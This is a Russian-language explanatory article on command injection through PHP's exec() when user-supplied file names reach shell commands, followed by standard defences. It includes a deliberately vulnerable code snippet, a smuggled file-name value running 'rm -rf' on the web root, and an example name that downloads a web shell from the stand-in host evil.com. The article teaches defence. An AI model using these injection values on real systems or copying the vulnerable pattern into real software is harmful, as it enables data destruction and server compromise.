Почему использование функции exec() в PHP для обработки пользовательских файлов — это огромная дыра в безопасности (Command Injection)?
Функция exec() в PHP позволяет выполнять произвольные команды операционной системы прямо из PHP-скрипта. Это мощный инструмент, но именно эта мощь делает его крайне опасным, если в команду попадают данные, переданные пользователем — например, имя загруженного файла.
**Как работает атака Command Injection**
Предположим, вы принимаете файл от пользователя и обрабатываете его через exec():
php
$filename = $_POST[‘filename’];
exec(«convert $filename output.jpg»);
Пользователь вместо обычного имени файла передаёт:
image.png; rm -rf /var/www/html
Итоговая команда, которую выполнит сервер:
convert image.png; rm -rf /var/www/html output.jpg
Сервер сначала выполнит convert, а затем удалит весь сайт. Символы `;`, `&&`, `||`, `|`, `$()`, обратные кавычки — всё это разделители и подстановки команд в bash, которые позволяют атакующему выполнить любой произвольный код.
**Почему это особенно опасно при работе с файлами**
1. **Имена файлов не контролируются пользователем.** Пользователь может назвать файл как угодно: `photo; wget http://evil.com/shell.php -O shell.php`. После загрузки и обработки на сервере появится веб-шелл.
2. **Контекст выполнения — системный.** exec() выполняет команды от имени пользователя веб-сервера (www-data, apache и т.д.), который нередко имеет широкие права на файловую систему.
3. **Обход фильтров через кодировки.** Атакующий может использовать URL-кодирование, Unicode или пробелы в именах файлов, обходя примитивные проверки.
4. **Цепочка атак.** Через Command Injection можно: читать /etc/passwd, устанавливать бэкдоры, скачивать вредоносные скрипты, открывать reverse shell до атакующего.
**Как защититься**
— Использовать `escapeshellarg()` и `escapeshellcmd()` для экранирования аргументов.
— Никогда не передавать имя файла напрямую — генерировать случайное имя на сервере через `uniqid()` или `bin2hex(random_bytes(8))`.
— Проверять MIME-тип файла на сервере, а не доверять расширению.
— По возможности отказаться от exec() в пользу нативных PHP-библиотек (GD, Imagick, FFMpeg через PHP-обёртки).
— Запускать обработку файлов в изолированной среде (Docker, chroot, отдельный сервис).
— Настроить `disable_functions = exec, shell_exec, system, passthru` в php.ini, если системные вызовы не нужны.
**Вывод**
exec() с пользовательскими данными — это буквально передача злоумышленнику терминала на вашем сервере. Даже одна непроверенная переменная в команде может привести к полной компрометации сервера. Правило простое: никогда не доверяйте пользовательскому вводу и никогда не подставляйте его в системные команды без строгой санитизации.
